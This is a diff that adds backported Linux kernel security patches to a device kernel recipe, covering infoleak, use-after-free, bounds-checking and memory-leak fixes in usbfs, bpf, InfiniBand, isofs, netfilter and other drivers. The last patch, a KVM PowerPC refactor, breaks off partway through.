b/recipes-kernel/linux/linux-sawfish/autopatcher/0113-681fef8380eb-USB usbfs fix potential infoleak in devio.patch new file mode 100644 index 0000000..4ab1aba --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0113-681fef8380eb-USB usbfs fix potential infoleak in devio.patch @@ -0,0 +1,41 @@ +From 681fef8380eb818c0b845fca5d2ab1dcbab114ee Mon Sep 17 00:00:00 2001 +From: Kangjie Lu +Date: Tue, 3 May 2016 16:32:16 -0400 +Subject: USB: usbfs: fix potential infoleak in devio +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +The stack object “ci” has a total size of 8 bytes. Its last 3 bytes +are padding bytes which are not initialized and leaked to userland +via “copy_to_user”. + +Signed-off-by: Kangjie Lu +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/core/devio.c | 9 +++++---- + 1 file changed, 5 insertions(+), 4 deletions(-) + +diff --git a/drivers/usb/core/devio.c b/drivers/usb/core/devio.c +index 73ce87166401..e9f5043a2167 100644 +--- a/drivers/usb/core/devio.c ++++ b/drivers/usb/core/devio.c +@@ -1316,10 +1316,11 @@ static int proc_getdriver(struct usb_dev_state *ps, void __user *arg) + + static int proc_connectinfo(struct usb_dev_state *ps, void __user *arg) + { +- struct usbdevfs_connectinfo ci = { +- .devnum = ps->dev->devnum, +- .slow = ps->dev->speed == USB_SPEED_LOW +- }; ++ struct usbdevfs_connectinfo ci; ++ ++ memset(&ci, 0, sizeof(ci)); ++ ci.devnum = ps->dev->devnum; ++ ci.slow = ps->dev->speed == USB_SPEED_LOW; + + if (copy_to_user(arg, &ci, sizeof(ci))) + return -EFAULT; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0114-84aa66876dc5-net fix infoleak in llc.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0114-84aa66876dc5-net fix infoleak in llc.patch new file mode 100644 index 0000000..2394073 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0114-84aa66876dc5-net fix infoleak in llc.patch @@ -0,0 +1,35 @@ +From 84aa66876dc5594058a346bf36928d8b652e6a6b Mon Sep 17 00:00:00 2001 +From: Kangjie Lu +Date: Tue, 3 May 2016 16:35:05 -0400 +Subject: net: fix infoleak in llc +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +[ Upstream commit b8670c09f37bdf2847cc44f36511a53afc6161fd ] + +The stack object “info” has a total size of 12 bytes. Its last byte +is padding which is not initialized and leaked via “put_cmsg”. + +Signed-off-by: Kangjie Lu +Signed-off-by: David S. Miller +Signed-off-by: Sasha Levin +--- + net/llc/af_llc.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/net/llc/af_llc.c b/net/llc/af_llc.c +index bb9cbc17d926..3e8691895385 100644 +--- a/net/llc/af_llc.c ++++ b/net/llc/af_llc.c +@@ -626,6 +626,7 @@ static void llc_cmsg_rcv(struct msghdr *msg, struct sk_buff *skb) + if (llc->cmsg_flags & LLC_CMSG_PKTINFO) { + struct llc_pktinfo info; + ++ memset(&info, 0, sizeof(info)); + info.lpi_ifindex = llc_sk(skb->sk)->dev->ifindex; + llc_pdu_decode_dsap(skb, &info.lpi_sap); + llc_pdu_decode_da(skb, info.lpi_mac); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0115-79670803a0f8-bpf fix doublefdput in replacemapfdwithmapptr.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0115-79670803a0f8-bpf fix doublefdput in replacemapfdwithmapptr.patch new file mode 100644 index 0000000..c27d608 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0115-79670803a0f8-bpf fix doublefdput in replacemapfdwithmapptr.patch @@ -0,0 +1,49 @@ +From 79670803a0f8a18cac93556767750ead132d318c Mon Sep 17 00:00:00 2001 +From: Jann Horn +Date: Tue, 26 Apr 2016 22:26:26 +0200 +Subject: bpf: fix double-fdput in replace_map_fd_with_map_ptr() + +[ Upstream commit 8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7 ] + +When bpf(BPF_PROG_LOAD, ...) was invoked with a BPF program whose bytecode +references a non-map file descriptor as a map file descriptor, the error +handling code called fdput() twice instead of once (in __bpf_map_get() and +in replace_map_fd_with_map_ptr()). If the file descriptor table of the +current task is shared, this causes f_count to be decremented too much, +allowing the struct file to be freed while it is still in use +(use-after-free). This can be exploited to gain root privileges by an +unprivileged user. + +This bug was introduced in +commit 0246e64d9a5f ("bpf: handle pseudo BPF_LD_IMM64 insn"), but is only +exploitable since +commit 1be7f75d1668 ("bpf: enable non-root eBPF programs") because +previously, CAP_SYS_ADMIN was required to reach the vulnerable code. + +(posted publicly according to request by maintainer) + +Signed-off-by: Jann Horn +Signed-off-by: Linus Torvalds +Acked-by: Alexei Starovoitov +Acked-by: Daniel Borkmann +Signed-off-by: David S. Miller +Signed-off-by: Sasha Levin +--- + kernel/bpf/verifier.c | 1 - + 1 file changed, 1 deletion(-) + +diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c +index 67f5f177c0715..eac45b688c08c 100644 +--- a/kernel/bpf/verifier.c ++++ b/kernel/bpf/verifier.c +@@ -1737,7 +1737,6 @@ static int replace_map_fd_with_map_ptr(struct verifier_env *env) + if (IS_ERR(map)) { + verbose("fd %d is not pointing to valid bpf_map\n", + insn->imm); +- fdput(f); + return PTR_ERR(map); + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0116-a34c1651ea7a-IBsecurity Restrict use of the write interface.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0116-a34c1651ea7a-IBsecurity Restrict use of the write interface.patch new file mode 100644 index 0000000..9359336 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0116-a34c1651ea7a-IBsecurity Restrict use of the write interface.patch @@ -0,0 +1,156 @@ +From a34c1651ea7a55f3c0e77c80c3b27605d5a7dfea Mon Sep 17 00:00:00 2001 +From: Jason Gunthorpe +Date: Sun, 10 Apr 2016 19:13:13 -0600 +Subject: IB/security: Restrict use of the write() interface + +[ Upstream commit e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3 ] + +The drivers/infiniband stack uses write() as a replacement for +bi-directional ioctl(). This is not safe. There are ways to +trigger write calls that result in the return structure that +is normally written to user space being shunted off to user +specified kernel memory instead. + +For the immediate repair, detect and deny suspicious accesses to +the write API. + +For long term, update the user space libraries and the kernel API +to something that doesn't present the same security vulnerabilities +(likely a structured ioctl() interface). + +The impacted uAPI interfaces are generally only available if +hardware from drivers/infiniband is installed in the system. + +Reported-by: Jann Horn +Signed-off-by: Linus Torvalds +Signed-off-by: Jason Gunthorpe +[ Expanded check to all known write() entry points ] +Cc: stable@vger.kernel.org +Signed-off-by: Doug Ledford + +Signed-off-by: Sasha Levin +--- + drivers/infiniband/core/ucm.c | 4 ++++ + drivers/infiniband/core/ucma.c | 3 +++ + drivers/infiniband/core/uverbs_main.c | 5 +++++ + drivers/infiniband/hw/qib/qib_file_ops.c | 5 +++++ + include/rdma/ib.h | 16 ++++++++++++++++ + 5 files changed, 33 insertions(+) + +diff --git a/drivers/infiniband/core/ucm.c b/drivers/infiniband/core/ucm.c +index f2f63933e8a9..5befec118a18 100644 +--- a/drivers/infiniband/core/ucm.c ++++ b/drivers/infiniband/core/ucm.c +@@ -48,6 +48,7 @@ + + #include + ++#include + #include + #include + #include +@@ -1104,6 +1105,9 @@ static ssize_t ib_ucm_write(struct file *filp, const char __user *buf, + struct ib_ucm_cmd_hdr hdr; + ssize_t result; + ++ if (WARN_ON_ONCE(!ib_safe_file_access(filp))) ++ return -EACCES; ++ + if (len < sizeof(hdr)) + return -EINVAL; + +diff --git a/drivers/infiniband/core/ucma.c b/drivers/infiniband/core/ucma.c +index 45d67e9228d7..81dd84d0b68b 100644 +--- a/drivers/infiniband/core/ucma.c ++++ b/drivers/infiniband/core/ucma.c +@@ -1487,6 +1487,9 @@ static ssize_t ucma_write(struct file *filp, const char __user *buf, + struct rdma_ucm_cmd_hdr hdr; + ssize_t ret; + ++ if (WARN_ON_ONCE(!ib_safe_file_access(filp))) ++ return -EACCES; ++ + if (len < sizeof(hdr)) + return -EINVAL; + +diff --git a/drivers/infiniband/core/uverbs_main.c b/drivers/infiniband/core/uverbs_main.c +index d3abb7ea2dee..c221310005f8 100644 +--- a/drivers/infiniband/core/uverbs_main.c ++++ b/drivers/infiniband/core/uverbs_main.c +@@ -48,6 +48,8 @@ + + #include + ++#include ++ + #include "uverbs.h" + + MODULE_AUTHOR("Roland Dreier"); +@@ -610,6 +612,9 @@ static ssize_t ib_uverbs_write(struct file *filp, const char __user *buf, + struct ib_uverbs_cmd_hdr hdr; + __u32 flags; + ++ if (WARN_ON_ONCE(!ib_safe_file_access(filp))) ++ return -EACCES; ++ + if (count < sizeof hdr) + return -EINVAL; + +diff --git a/drivers/infiniband/hw/qib/qib_file_ops.c b/drivers/infiniband/hw/qib/qib_file_ops.c +index b15e34eeef68..3ab8229b1d8c 100644 +--- a/drivers/infiniband/hw/qib/qib_file_ops.c ++++ b/drivers/infiniband/hw/qib/qib_file_ops.c +@@ -45,6 +45,8 @@ + #include + #include + ++#include ++ + #include "qib.h" + #include "qib_common.h" + #include "qib_user_sdma.h" +@@ -2058,6 +2060,9 @@ static ssize_t qib_write(struct file *fp, const char __user *data, + ssize_t ret = 0; + void *dest; + ++ if (WARN_ON_ONCE(!ib_safe_file_access(fp))) ++ return -EACCES; ++ + if (count < sizeof(cmd.type)) { + ret = -EINVAL; + goto bail; +diff --git a/include/rdma/ib.h b/include/rdma/ib.h +index cf8f9e700e48..a6b93706b0fc 100644 +--- a/include/rdma/ib.h ++++ b/include/rdma/ib.h +@@ -34,6 +34,7 @@ + #define _RDMA_IB_H + + #include ++#include + + struct ib_addr { + union { +@@ -86,4 +87,19 @@ struct sockaddr_ib { + __u64 sib_scope_id; + }; + ++/* ++ * The IB interfaces that use write() as bi-directional ioctl() are ++ * fundamentally unsafe, since there are lots of ways to trigger "write()" ++ * calls from various contexts with elevated privileges. That includes the ++ * traditional suid executable error message writes, but also various kernel ++ * interfaces that can write to file descriptors. ++ * ++ * This function provides protection for the legacy API by restricting the ++ * calling context. ++ */ ++static inline bool ib_safe_file_access(struct file *filp) ++{ ++ return filp->f_cred == current_cred() && segment_eq(get_fs(), USER_DS); ++} ++ + #endif /* _RDMA_IB_H */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0117-b35237a82951-net fix a kernel infoleak in x25 module.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0117-b35237a82951-net fix a kernel infoleak in x25 module.patch new file mode 100644 index 0000000..cf70c97 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0117-b35237a82951-net fix a kernel infoleak in x25 module.patch @@ -0,0 +1,35 @@ +From b35237a8295196b3ea3efb36fde887b7b4dffb9a Mon Sep 17 00:00:00 2001 +From: Kangjie Lu +Date: Sun, 8 May 2016 12:10:14 -0400 +Subject: net: fix a kernel infoleak in x25 module + +[ Upstream commit 79e48650320e6fba48369fccf13fd045315b19b8 ] + +Stack object "dte_facilities" is allocated in x25_rx_call_request(), +which is supposed to be initialized in x25_negotiate_facilities. +However, 5 fields (8 bytes in total) are not initialized. This +object is then copied to userland via copy_to_user, thus infoleak +occurs. + +Signed-off-by: Kangjie Lu +Signed-off-by: David S. Miller +Signed-off-by: Sasha Levin +--- + net/x25/x25_facilities.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/net/x25/x25_facilities.c b/net/x25/x25_facilities.c +index 7ecd04c21360..997ff7b2509b 100644 +--- a/net/x25/x25_facilities.c ++++ b/net/x25/x25_facilities.c +@@ -277,6 +277,7 @@ int x25_negotiate_facilities(struct sk_buff *skb, struct sock *sk, + + memset(&theirs, 0, sizeof(theirs)); + memcpy(new, ours, sizeof(*new)); ++ memset(dte, 0, sizeof(*dte)); + + len = x25_parse_facilities(skb, &theirs, dte, &x25->vc_facil_mask); + if (len < 0) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0118-99d825822ead-getrockridgefilename handle malformed NM entries.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0118-99d825822ead-getrockridgefilename handle malformed NM entries.patch new file mode 100644 index 0000000..e0b7204 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0118-99d825822ead-getrockridgefilename handle malformed NM entries.patch @@ -0,0 +1,63 @@ +From 99d825822eade8d827a1817357cbf3f889a552d6 Mon Sep 17 00:00:00 2001 +From: Al Viro +Date: Thu, 5 May 2016 16:25:35 -0400 +Subject: get_rock_ridge_filename(): handle malformed NM entries + +Payloads of NM entries are not supposed to contain NUL. When we run +into such, only the part prior to the first NUL goes into the +concatenation (i.e. the directory entry name being encoded by a bunch +of NM entries). We do stop when the amount collected so far + the +claimed amount in the current NM entry exceed 254. So far, so good, +but what we return as the total length is the sum of *claimed* +sizes, not the actual amount collected. And that can grow pretty +large - not unlimited, since you'd need to put CE entries in +between to be able to get more than the maximum that could be +contained in one isofs directory entry / continuation chunk and +we are stop once we'd encountered 32 CEs, but you can get about 8Kb +easily. And that's what will be passed to readdir callback as the +name length. 8Kb __copy_to_user() from a buffer allocated by +__get_free_page() + +Cc: stable@vger.kernel.org # 0.98pl6+ (yes, really) +Signed-off-by: Al Viro +--- + fs/isofs/rock.c | 13 ++++++++++--- + 1 file changed, 10 insertions(+), 3 deletions(-) + +diff --git a/fs/isofs/rock.c b/fs/isofs/rock.c +index 5384ceb35b1c..98b3eb7d8eaf 100644 +--- a/fs/isofs/rock.c ++++ b/fs/isofs/rock.c +@@ -203,6 +203,8 @@ int get_rock_ridge_filename(struct iso_directory_record *de, + int retnamlen = 0; + int truncate = 0; + int ret = 0; ++ char *p; ++ int len; + + if (!ISOFS_SB(inode->i_sb)->s_rock) + return 0; +@@ -267,12 +269,17 @@ repeat: + rr->u.NM.flags); + break; + } +- if ((strlen(retname) + rr->len - 5) >= 254) { ++ len = rr->len - 5; ++ if (retnamlen + len >= 254) { + truncate = 1; + break; + } +- strncat(retname, rr->u.NM.name, rr->len - 5); +- retnamlen += rr->len - 5; ++ p = memchr(rr->u.NM.name, '\0', len); ++ if (unlikely(p)) ++ len = p - rr->u.NM.name; ++ memcpy(retname + retnamlen, rr->u.NM.name, len); ++ retnamlen += len; ++ retname[retnamlen] = '\0'; + break; + case SIG('R', 'E'): + kfree(rs.buffer); +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0119-62e6fd2010f7-netfilter xtables add and use xtcheckentryoffsets.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0119-62e6fd2010f7-netfilter xtables add and use xtcheckentryoffsets.patch new file mode 100644 index 0000000..4320494 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0119-62e6fd2010f7-netfilter xtables add and use xtcheckentryoffsets.patch @@ -0,0 +1,167 @@ +From 62e6fd2010f76a52adcf0cf016b5d7c402ec17aa Mon Sep 17 00:00:00 2001 +From: Florian Westphal +Date: Fri, 1 Apr 2016 14:17:23 +0200 +Subject: netfilter: x_tables: add and use xt_check_entry_offsets + +[ Upstream commit 7d35812c3214afa5b37a675113555259cfd67b98 ] + +Currently arp/ip and ip6tables each implement a short helper to check that +the target offset is large enough to hold one xt_entry_target struct and +that t->u.target_size fits within the current rule. + +Unfortunately these checks are not sufficient. + +To avoid adding new tests to all of ip/ip6/arptables move the current +checks into a helper, then extend this helper in followup patches. + +Signed-off-by: Florian Westphal +Signed-off-by: Pablo Neira Ayuso +Signed-off-by: Sasha Levin +--- + include/linux/netfilter/x_tables.h | 4 ++++ + net/ipv4/netfilter/arp_tables.c | 11 +---------- + net/ipv4/netfilter/ip_tables.c | 12 +----------- + net/ipv6/netfilter/ip6_tables.c | 12 +----------- + net/netfilter/x_tables.c | 34 ++++++++++++++++++++++++++++++++++ + 5 files changed, 41 insertions(+), 32 deletions(-) + +diff --git a/include/linux/netfilter/x_tables.h b/include/linux/netfilter/x_tables.h +index a3e215bb0241..a2d150873721 100644 +--- a/include/linux/netfilter/x_tables.h ++++ b/include/linux/netfilter/x_tables.h +@@ -239,6 +239,10 @@ void xt_unregister_match(struct xt_match *target); + int xt_register_matches(struct xt_match *match, unsigned int n); + void xt_unregister_matches(struct xt_match *match, unsigned int n); + ++int xt_check_entry_offsets(const void *base, ++ unsigned int target_offset, ++ unsigned int next_offset); ++ + int xt_check_match(struct xt_mtchk_param *, unsigned int size, u_int8_t proto, + bool inv_proto); + int xt_check_target(struct xt_tgchk_param *, unsigned int size, u_int8_t proto, +diff --git a/net/ipv4/netfilter/arp_tables.c b/net/ipv4/netfilter/arp_tables.c +index 9b25eed43746..57c994e1c214 100644 +--- a/net/ipv4/netfilter/arp_tables.c ++++ b/net/ipv4/netfilter/arp_tables.c +@@ -492,19 +492,10 @@ static int mark_source_chains(const struct xt_table_info *newinfo, + + static inline int check_entry(const struct arpt_entry *e) + { +- const struct xt_entry_target *t; +- + if (!arp_checkentry(&e->arp)) + return -EINVAL; + +- if (e->target_offset + sizeof(struct xt_entry_target) > e->next_offset) +- return -EINVAL; +- +- t = arpt_get_target_c(e); +- if (e->target_offset + t->u.target_size > e->next_offset) +- return -EINVAL; +- +- return 0; ++ return xt_check_entry_offsets(e, e->target_offset, e->next_offset); + } + + static inline int check_target(struct arpt_entry *e, const char *name) +diff --git a/net/ipv4/netfilter/ip_tables.c b/net/ipv4/netfilter/ip_tables.c +index 0fede102e685..cda0fa460f5e 100644 +--- a/net/ipv4/netfilter/ip_tables.c ++++ b/net/ipv4/netfilter/ip_tables.c +@@ -586,20 +586,10 @@ static void cleanup_match(struct xt_entry_match *m, struct net *net) + static int + check_entry(const struct ipt_entry *e) + { +- const struct xt_entry_target *t; +- + if (!ip_checkentry(&e->ip)) + return -EINVAL; + +- if (e->target_offset + sizeof(struct xt_entry_target) > +- e->next_offset) +- return -EINVAL; +- +- t = ipt_get_target_c(e); +- if (e->target_offset + t->u.target_size > e->next_offset) +- return -EINVAL; +- +- return 0; ++ return xt_check_entry_offsets(e, e->target_offset, e->next_offset); + } + + static int +diff --git a/net/ipv6/netfilter/ip6_tables.c b/net/ipv6/netfilter/ip6_tables.c +index ca1cdfea72c8..cc78d56e2c71 100644 +--- a/net/ipv6/netfilter/ip6_tables.c ++++ b/net/ipv6/netfilter/ip6_tables.c +@@ -596,20 +596,10 @@ static void cleanup_match(struct xt_entry_match *m, struct net *net) + static int + check_entry(const struct ip6t_entry *e) + { +- const struct xt_entry_target *t; +- + if (!ip6_checkentry(&e->ipv6)) + return -EINVAL; + +- if (e->target_offset + sizeof(struct xt_entry_target) > +- e->next_offset) +- return -EINVAL; +- +- t = ip6t_get_target_c(e); +- if (e->target_offset + t->u.target_size > e->next_offset) +- return -EINVAL; +- +- return 0; ++ return xt_check_entry_offsets(e, e->target_offset, e->next_offset); + } + + static int check_match(struct xt_entry_match *m, struct xt_mtchk_param *par) +diff --git a/net/netfilter/x_tables.c b/net/netfilter/x_tables.c +index 133eb4772f12..d846b52a6fc0 100644 +--- a/net/netfilter/x_tables.c ++++ b/net/netfilter/x_tables.c +@@ -543,6 +543,40 @@ int xt_compat_match_to_user(const struct xt_entry_match *m, + EXPORT_SYMBOL_GPL(xt_compat_match_to_user); + #endif /* CONFIG_COMPAT */ + ++/** ++ * xt_check_entry_offsets - validate arp/ip/ip6t_entry ++ * ++ * @base: pointer to arp/ip/ip6t_entry ++ * @target_offset: the arp/ip/ip6_t->target_offset ++ * @next_offset: the arp/ip/ip6_t->next_offset ++ * ++ * validates that target_offset and next_offset are sane. ++ * ++ * The arp/ip/ip6t_entry structure @base must have passed following tests: ++ * - it must point to a valid memory location ++ * - base to base + next_offset must be accessible, i.e. not exceed allocated ++ * length. ++ * ++ * Return: 0 on success, negative errno on failure. ++ */ ++int xt_check_entry_offsets(const void *base, ++ unsigned int target_offset, ++ unsigned int next_offset) ++{ ++ const struct xt_entry_target *t; ++ const char *e = base; ++ ++ if (target_offset + sizeof(*t) > next_offset) ++ return -EINVAL; ++ ++ t = (void *)(e + target_offset); ++ if (target_offset + t->u.target_size > next_offset) ++ return -EINVAL; ++ ++ return 0; ++} ++EXPORT_SYMBOL(xt_check_entry_offsets); ++ + int xt_check_target(struct xt_tgchk_param *par, + unsigned int size, u_int8_t proto, bool inv_proto) + { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0120-37a6fed6bcd0-netfilter xtables assert minimum target size.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0120-37a6fed6bcd0-netfilter xtables assert minimum target size.patch new file mode 100644 index 0000000..fa76554 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0120-37a6fed6bcd0-netfilter xtables assert minimum target size.patch @@ -0,0 +1,33 @@ +From 37a6fed6bcd018561cf18ddef42f6f6e106b220e Mon Sep 17 00:00:00 2001 +From: Florian Westphal +Date: Fri, 1 Apr 2016 14:17:25 +0200 +Subject: netfilter: x_tables: assert minimum target size + +[ Upstream commit a08e4e190b866579896c09af59b3bdca821da2cd ] + +The target size includes the size of the xt_entry_target struct. + +Signed-off-by: Florian Westphal +Signed-off-by: Pablo Neira Ayuso +Signed-off-by: Sasha Levin +--- + net/netfilter/x_tables.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/net/netfilter/x_tables.c b/net/netfilter/x_tables.c +index d846b52a6fc0..f432ee7e4d6d 100644 +--- a/net/netfilter/x_tables.c ++++ b/net/netfilter/x_tables.c +@@ -570,6 +570,9 @@ int xt_check_entry_offsets(const void *base, + return -EINVAL; + + t = (void *)(e + target_offset); ++ if (t->u.target_size < sizeof(*t)) ++ return -EINVAL; ++ + if (target_offset + t->u.target_size > next_offset) + return -EINVAL; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0121.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0121.diff new file mode 100644 index 0000000..6be8089 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0121.diff @@ -0,0 +1,12 @@ +diff --git a/net/rds/recv.c b/net/rds/recv.c +index f60a704..0456de6 100644 +--- a/net/rds/recv.c ++++ b/net/rds/recv.c +@@ -548,5 +548,7 @@ + minfo.fport = inc->i_hdr.h_dport; + } + ++ minfo.flags = 0; ++ + rds_info_copy(iter, &minfo, sizeof(minfo)); + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0122-ed4d6f5d8451-ASoC soc msm initialize buffer to prevent kernel data leakage.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0122-ed4d6f5d8451-ASoC soc msm initialize buffer to prevent kernel data leakage.patch new file mode 100644 index 0000000..821b98f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0122-ed4d6f5d8451-ASoC soc msm initialize buffer to prevent kernel data leakage.patch @@ -0,0 +1,31 @@ +From ed4d6f5d8451d99860950d0abf8ad583efed6d5c Mon Sep 17 00:00:00 2001 +From: Xiaojun Sang +Date: Fri, 16 Dec 2016 16:25:27 +0800 +Subject: ASoC: soc: msm: initialize buffer to prevent kernel data leakage + +To prevent potential kernel stack data leakage, initialize +channel_map[]. + +CRs-Fixed: 1100878 +Change-Id: I7b81cea20485bc7514551672bb54c7fd455049e3 +Signed-off-by: Xiaojun Sang +--- + sound/soc/msm/qdsp6v2/msm-qti-pp-config.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/sound/soc/msm/qdsp6v2/msm-qti-pp-config.c b/sound/soc/msm/qdsp6v2/msm-qti-pp-config.c +index 9e34bd3..510ddc7 100644 +--- a/sound/soc/msm/qdsp6v2/msm-qti-pp-config.c ++++ b/sound/soc/msm/qdsp6v2/msm-qti-pp-config.c +@@ -575,7 +575,7 @@ static int msm_qti_pp_set_sec_auxpcm_lb_vol_mixer( + static int msm_qti_pp_get_channel_map_mixer(struct snd_kcontrol *kcontrol, + struct snd_ctl_elem_value *ucontrol) + { +- char channel_map[PCM_FORMAT_MAX_NUM_CHANNEL]; ++ char channel_map[PCM_FORMAT_MAX_NUM_CHANNEL] = {0}; + int i; + + adm_get_multi_ch_map(channel_map, ADM_PATH_PLAYBACK); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0123-d380c88d88ed-media fix airspy usb probe error path.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0123-d380c88d88ed-media fix airspy usb probe error path.patch new file mode 100644 index 0000000..6a5fffe --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0123-d380c88d88ed-media fix airspy usb probe error path.patch @@ -0,0 +1,56 @@ +From d380c88d88ed317a7493e5cba85fa0ebecf38ac9 Mon Sep 17 00:00:00 2001 +From: James Patrick-Evans +Date: Fri, 15 Jul 2016 16:40:45 +0100 +Subject: media: fix airspy usb probe error path + +[ Upstream commit aa93d1fee85c890a34f2510a310e55ee76a27848 ] + +Fix a memory leak on probe error of the airspy usb device driver. + +The problem is triggered when more than 64 usb devices register with +v4l2 of type VFL_TYPE_SDR or VFL_TYPE_SUBDEV. + +The memory leak is caused by the probe function of the airspy driver +mishandeling errors and not freeing the corresponding control structures +when an error occours registering the device to v4l2 core. + +A badusb device can emulate 64 of these devices, and then through +continual emulated connect/disconnect of the 65th device, cause the +kernel to run out of RAM and crash the kernel, thus causing a local DOS +vulnerability. + +Fixes CVE-2016-5400 + +Signed-off-by: James Patrick-Evans +Reviewed-by: Kees Cook +Cc: stable@vger.kernel.org # 3.17+ +Signed-off-by: Linus Torvalds +Signed-off-by: Sasha Levin +--- + drivers/media/usb/airspy/airspy.c | 3 +-- + 1 file changed, 1 insertion(+), 2 deletions(-) + +diff --git a/drivers/media/usb/airspy/airspy.c b/drivers/media/usb/airspy/airspy.c +index 4069234abed54..cc92ae7ba462e 100644 +--- a/drivers/media/usb/airspy/airspy.c ++++ b/drivers/media/usb/airspy/airspy.c +@@ -1072,7 +1072,7 @@ static int airspy_probe(struct usb_interface *intf, + if (ret) { + dev_err(s->dev, "Failed to register as video device (%d)\n", + ret); +- goto err_unregister_v4l2_dev; ++ goto err_free_controls; + } + dev_info(s->dev, "Registered as %s\n", + video_device_node_name(&s->vdev)); +@@ -1081,7 +1081,6 @@ static int airspy_probe(struct usb_interface *intf, + + err_free_controls: + v4l2_ctrl_handler_free(&s->hdl); +-err_unregister_v4l2_dev: + v4l2_device_unregister(&s->v4l2_dev); + err_free_mem: + kfree(s); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0124-15b4c06d1398-KVM PPC Book3S HV Pull out TM state saverestore into separate.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0124-15b4c06d1398-KVM PPC Book3S HV Pull out TM state saverestore into separate.patch new file mode 100644 index 0000000..12ee18f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0124-15b4c06d1398-KVM PPC Book3S HV Pull out TM state saverestore into separate.patch @@ -0,0 +1,512 @@ +From 15b4c06d13983dcfcbf34f3c2c7de269c8258656 Mon Sep 17 00:00:00 2001 +From: Paul Mackerras +Date: Wed, 22 Jun 2016 14:21:59 +1000 +Subject: KVM: PPC: Book3S HV: Pull out TM state save/restore into separate + procedures + +[ Upstream commit f024ee098476a3e620232e4a78cfac505f121245 ] + +This moves the transactional memory state save and restore sequences +out of the guest entry/exit paths into separate procedures. This is +so that these sequences can be used in going into and out of nap +in a subsequent patch. + +The only code changes here are (a) saving and restore LR on the +stack, since these new procedures get called with a bl instruction, +(b) explicitly saving r1 into the PACA instead of assuming that +HSTATE_HOST_R1(r13) is already set, and (c) removing an unnecessary +and redundant setting of MSR[TM] that should have been removed by +commit 9d4d0bdd9e0a ("KVM: PPC: Book3S HV: Add transactional memory +support", 2013-09-24) but wasn't. + +Cc: stable@vger.kernel.org # v3.15+ +Signed-off-by: Paul Mackerras +Signed-off-by: Sasha Levin +--- + arch/powerpc/kvm/book3s_hv_rmhandlers.S | 449 +++++++++++++++++--------------- + 1 file changed, 237 insertions(+), 212 deletions(-) + +diff --git a/arch/powerpc/kvm/book3s_hv_rmhandlers.S b/arch/powerpc/kvm/book3s_hv_rmhandlers.S +index 4329ea3166839..275fc5cb5f289 100644 +--- a/arch/powerpc/kvm/book3s_hv_rmhandlers.S ++++ b/arch/powerpc/kvm/book3s_hv_rmhandlers.S +@@ -632,112 +632,8 @@ END_FTR_SECTION_IFCLR(CPU_FTR_ARCH_207S) + + #ifdef CONFIG_PPC_TRANSACTIONAL_MEM + BEGIN_FTR_SECTION +- b skip_tm +-END_FTR_SECTION_IFCLR(CPU_FTR_TM) +- +- /* Turn on TM/FP/VSX/VMX so we can restore them. */ +- mfmsr r5 +- li r6, MSR_TM >> 32 +- sldi r6, r6, 32 +- or r5, r5, r6 +- ori r5, r5, MSR_FP +- oris r5, r5, (MSR_VEC | MSR_VSX)@h +- mtmsrd r5 +- +- /* +- * The user may change these outside of a transaction, so they must +- * always be context switched. +- */ +- ld r5, VCPU_TFHAR(r4) +- ld r6, VCPU_TFIAR(r4) +- ld r7, VCPU_TEXASR(r4) +- mtspr SPRN_TFHAR, r5 +- mtspr SPRN_TFIAR, r6 +- mtspr SPRN_TEXASR, r7 +- +- ld r5, VCPU_MSR(r4) +- rldicl. r5, r5, 64 - MSR_TS_S_LG, 62 +- beq skip_tm /* TM not active in guest */ 